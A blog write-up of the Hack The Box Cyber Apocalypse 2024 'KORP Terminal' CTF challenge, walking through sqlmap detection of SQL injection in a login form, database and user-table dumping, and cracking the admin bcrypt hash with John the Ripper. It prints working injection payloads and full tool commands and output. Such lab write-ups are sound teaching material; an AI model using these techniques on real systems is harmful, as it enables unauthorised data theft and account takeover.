forbytten blogs

KORP Terminal Writeup - Cyber Apocalypse 2024

Last update:

1 Introduction

This writeup covers the KORP Terminal Web challenge from the Hack The Box Cyber Apocalypse 2024 CTF, which was rated as having a ‘very easy’ difficulty. The challenge was a black box web application assessment involving SQL injection and password cracking.

The description of the challenge is shown below.

KORP Terminal description

2 Key techniques

The key techniques employed in this writeup are:

3 Mapping the application interactively

The target website was opened in the Firefox browser, proxied via mitmproxy. The website displayed a login form.

The website displayed a login form

4 Vulnerability analysis - SQL injection

A manual attempt to log in using basic guessed credentials of admin:password was unsuccessful. The request was saved from mitmproxy into request.txt:

POST / HTTP/1.1
Host: 94.237.54.152:49165
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 48
Origin: http://94.237.54.152:49165
Connection: keep-alive
Referer: http://94.237.54.152:49165/
Upgrade-Insecure-Requests: 1

username=admin&password=password

sqlmap was invoked to scan the site for SQL injection vulnerabilities using the captured request and the --ignore-code 401 option to ignore HTTP 401 Unauthorized responses due to invalid credentials. sqlmap detected that the username parameter is vulnerable to error-based and time-based blind SQL injection techniques. SQL Injection is an instance of the common weakness CWE-89: Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’).

 $ sqlmap -r request.txt --output-dir sqlmap-output --ignore-code 401

 <snip/>

 [*] starting @ 02:36:54 /2024-03-10/

 [02:36:54] [INFO] parsing HTTP request from 'request.txt'
 [02:36:54] [WARNING] using 'REDACTED/sqlmap-output' as the output directory
 [02:36:54] [INFO] testing connection to the target URL
 [02:36:56] [INFO] checking if the target is protected by some kind of WAF/IPS
 [02:36:57] [INFO] testing if the target URL content is stable
 [02:36:58] [INFO] target URL content is stable
 [02:36:58] [INFO] testing if POST parameter 'username' is dynamic
 [02:36:58] [WARNING] POST parameter 'username' does not appear to be dynamic
 [02:36:59] [INFO] heuristic (basic) test shows that POST parameter 'username' might be injectable (possible DBMS: 'MySQL')
 [02:36:59] [INFO] testing for SQL injection on POST parameter 'username'
 it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
 for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] n
 [02:37:21] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
 [02:37:22] [WARNING] reflective value(s) found and filtering out
 [02:37:27] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
 [02:37:28] [INFO] testing 'Generic inline queries'
 [02:37:29] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
 [02:37:30] [INFO] POST parameter 'username' is 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' injectable
 [02:37:30] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
 [02:37:30] [WARNING] time-based comparison requires larger statistical model, please wait............ (done)
 [02:37:53] [INFO] POST parameter 'username' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
 [02:37:53] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
 [02:37:53] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
 [02:37:55] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
 [02:37:58] [INFO] target URL appears to have 1 column in query
 do you want to (re)try to find proper UNION column types with fuzzy test? [y/N] N
 [02:38:23] [WARNING] if UNION based SQL injection is not detected, please consider and/or try to force the back-end DBMS (e.g. '--dbms=mysql')
 [02:38:35] [INFO] target URL appears to be UNION injectable with 1 columns
 POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
 sqlmap identified the following injection point(s) with a total of 65 HTTP(s) requests:
 ---
 Parameter: username (POST)
     Type: error-based
     Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
     Payload: username=admin' AND EXTRACTVALUE(6492,CONCAT(0x5c,0x7170717a71,(SELECT (ELT(6492=6492,1))),0x716a716271)) AND 'xjyE'='xjyE&password=password

     Type: time-based blind
     Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
     Payload: username=admin' AND (SELECT 3416 FROM (SELECT(SLEEP(5)))jUXi) AND 'fbhm'='fbhm&password=password
 ---
 [02:38:47] [INFO] the back-end DBMS is MySQL
 back-end DBMS: MySQL >= 5.1 (MariaDB fork)
 [02:38:48] [WARNING] HTTP error codes detected during run:
 401 (Unauthorized) - 36 times, 500 (Internal Server Error) - 38 times
 [02:38:48] [INFO] fetched data logged to text files under 'REDACTED/sqlmap-output/94.237.54.152'

 [*] ending @ 02:38:48 /2024-03-10/

5 Exploitation - dumping the database

5.1 Dumping database names (the roundabout way)

sqlmap was passed the --tables option to dump table names1 but was aborted via Ctrl-C as soon as the korp_terminal database was observed, as it was highly likely to be the required database:

 $ sqlmap -r request.txt --output-dir sqlmap-output --ignore-code 401 --tables

 <snip/>

 [*] starting @ 02:47:13 /2024-03-10/

 [02:47:13] [INFO] parsing HTTP request from 'request.txt'
 [02:47:13] [WARNING] using 'REDACTED/sqlmap-output' as the output directory
 [02:47:13] [INFO] resuming back-end DBMS 'mysql'
 [02:47:13] [INFO] testing connection to the target URL
 sqlmap resumed the following injection point(s) from stored session:
 ---
 Parameter: username (POST)
     Type: error-based
     Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
     Payload: username=admin' AND EXTRACTVALUE(6492,CONCAT(0x5c,0x7170717a71,(SELECT (ELT(6492=6492,1))),0x716a716271)) AND 'xjyE'='xjyE&password=password

     Type: time-based blind
     Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
     Payload: username=admin' AND (SELECT 3416 FROM (SELECT(SLEEP(5)))jUXi) AND 'fbhm'='fbhm&password=password
 ---
 [02:47:15] [INFO] the back-end DBMS is MySQL
 back-end DBMS: MySQL >= 5.1 (MariaDB fork)
 [02:47:15] [INFO] fetching database names
 [02:47:15] [INFO] resumed: 'information_schema'
 [02:47:15] [INFO] resumed: 'korp_terminal'
 [02:47:15] [INFO] resumed: 'test'

 <snip/>

5.2 Dumping table names from the korp_terminal database

sqlmap was invoked to dump table names (--tables) from the korp_terminal database (-D korp_terminal), resulting in one table users being found:

 $ sqlmap -r request.txt --output-dir sqlmap-output --ignore-code 401 -D korp_terminal --tables

 <snip/>

 [*] starting @ 02:47:37 /2024-03-10/

 [02:47:37] [INFO] parsing HTTP request from 'request.txt'
 [02:47:37] [WARNING] using 'REDACTED/sqlmap-output' as the output directory
 [02:47:37] [INFO] resuming back-end DBMS 'mysql'
 [02:47:37] [INFO] testing connection to the target URL
 sqlmap resumed the following injection point(s) from stored session:
 ---
 Parameter: username (POST)
     Type: error-based
     Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
     Payload: username=admin' AND EXTRACTVALUE(6492,CONCAT(0x5c,0x7170717a71,(SELECT (ELT(6492=6492,1))),0x716a716271)) AND 'xjyE'='xjyE&password=password

     Type: time-based blind
     Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
     Payload: username=admin' AND (SELECT 3416 FROM (SELECT(SLEEP(5)))jUXi) AND 'fbhm'='fbhm&password=password
 ---
 [02:47:38] [INFO] the back-end DBMS is MySQL
 back-end DBMS: MySQL >= 5.1 (MariaDB fork)
 [02:47:38] [INFO] fetching tables for database: 'korp_terminal'
 [02:47:40] [INFO] retrieved: 'users'
 Database: korp_terminal
 [1 table]
 +-------+
 | users |
 +-------+

 [02:47:40] [WARNING] HTTP error codes detected during run:
 401 (Unauthorized) - 1 times, 500 (Internal Server Error) - 2 times
 [02:47:40] [INFO] fetched data logged to text files under 'REDACTED/sqlmap-output/94.237.54.152'

 [*] ending @ 02:47:40 /2024-03-10/

5.3 Dumping the korp_terminal.users table

sqlmap was invoked to dump the records (--dump) from the users tables (-T users) in the korp_terminal database (-D korp_terminal). There was one record found containing the hashed password for the admin user.

 $ sqlmap -r request.txt --output-dir sqlmap-output --ignore-code 401 -D korp_terminal -T users --dump

 <snip/>

 [*] starting @ 02:49:12 /2024-03-10/

 [02:49:12] [INFO] parsing HTTP request from 'request.txt'
 [02:49:12] [WARNING] using 'REDACTED/sqlmap-output' as the output directory
 [02:49:12] [INFO] resuming back-end DBMS 'mysql'
 [02:49:12] [INFO] testing connection to the target URL
 sqlmap resumed the following injection point(s) from stored session:
 ---
 Parameter: username (POST)
     Type: error-based
     Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
     Payload: username=admin' AND EXTRACTVALUE(6492,CONCAT(0x5c,0x7170717a71,(SELECT (ELT(6492=6492,1))),0x716a716271)) AND 'xjyE'='xjyE&password=password

     Type: time-based blind
     Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
     Payload: username=admin' AND (SELECT 3416 FROM (SELECT(SLEEP(5)))jUXi) AND 'fbhm'='fbhm&password=password
 ---
 [02:49:13] [INFO] the back-end DBMS is MySQL
 back-end DBMS: MySQL >= 5.1 (MariaDB fork)
 [02:49:13] [INFO] fetching columns for table 'users' in database 'korp_terminal'
 [02:49:14] [INFO] retrieved: 'id'
 [02:49:15] [INFO] retrieved: 'int(11)'
 [02:49:16] [INFO] retrieved: 'username'
 [02:49:16] [INFO] retrieved: 'varchar(255)'
 [02:49:17] [INFO] retrieved: 'password'
 [02:49:17] [INFO] retrieved: 'varchar(255)'
 [02:49:17] [INFO] fetching entries for table 'users' in database 'korp_terminal'
 [02:49:18] [INFO] retrieved: '1'
 [02:49:21] [INFO] retrieved: '$2b$12$OF1QqLVkMFUwJrl1J1YG9u6FdAQZa6ByxFt/CkS/2HW8GA563yiv.'
 [02:49:22] [INFO] retrieved: 'admin'
 Database: korp_terminal
 Table: users
 [1 entry]
 +----+--------------------------------------------------------------+----------+
 | id | password                                                     | username |
 +----+--------------------------------------------------------------+----------+
 | 1  | $2b$12$OF1QqLVkMFUwJrl1J1YG9u6FdAQZa6ByxFt/CkS/2HW8GA563yiv. | admin    |
 +----+--------------------------------------------------------------+----------+

 [02:49:22] [INFO] table 'korp_terminal.users' dumped to CSV file 'REDACTED/sqlmap-output/94.237.54.152/dump/korp_terminal/users.csv'
 [02:49:22] [WARNING] HTTP error codes detected during run:
 401 (Unauthorized) - 1 times, 500 (Internal Server Error) - 14 times
 [02:49:22] [INFO] fetched data logged to text files under 'REDACTED/sqlmap-output/94.237.54.152'

 [*] ending @ 02:49:22 /2024-03-10/

6 Exploitation - cracking the admin password hash

6.1 Identifying the hash type

Searching the hashcat example hashes for $2b$ indicates the password hash is using the bcrypt algorithm.

The password hash matches the format of the hashcat example bcrypt hash

OWASP indicates the bcrypt password hashing function is a legacy function but if it is used, it should have a minimum work factor of 10.

OWASP indicates bcrypt is a legacy password hashing function

Wikipedia describes the bcrypt hash in detail, which indicates the value between the second pair of $s is the work factor (aka. cost). Therefore, the found hash has a work factor of 12.

bcrypt hash structure - Wikipedia

6.2 Cracking the bcrypt hash

The admin hash was placed into hash.txt:

admin:$2b$12$OF1QqLVkMFUwJrl1J1YG9u6FdAQZa6ByxFt/CkS/2HW8GA563yiv.

John the Ripper was invoked to crack the hash using the common rockyou.txt password list. The password was found to have a weak value of password123, which is an instance of the common weakness CWE-1391: Use of Weak Credentials.

$ john hash.txt -wordlist:~/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:02 0.00% (ETA: 2024-03-11 13:40) 0g/s 82.12p/s 82.12c/s 82.12C/s hellokitty..brenda
0g 0:00:00:14 0.01% (ETA: 2024-03-12 08:51) 0g/s 86.01p/s 86.01c/s 86.01C/s franklin..rangers1
0g 0:00:00:15 0.01% (ETA: 2024-03-12 09:37) 0g/s 86.17p/s 86.17c/s 86.17C/s winston..angel123
password123      (admin)
1g 0:00:00:16 0.01% (ETA: 2024-03-12 10:19) 0.05998g/s 86.38p/s 86.38c/s 86.38C/s lacoste..michel
Use the "--show" option to display all of the cracked passwords reliably
Session aborted

7 Obtaining the flag

The cracked credentials of admin:password123 were entered into the login form, resulting in the flag being returned in the response.

Flag displayed after logging in as admin:password123

8 Conclusion

The flag was submitted and the challenge was marked as pwned

Submission of the flag marked the challenge as pwned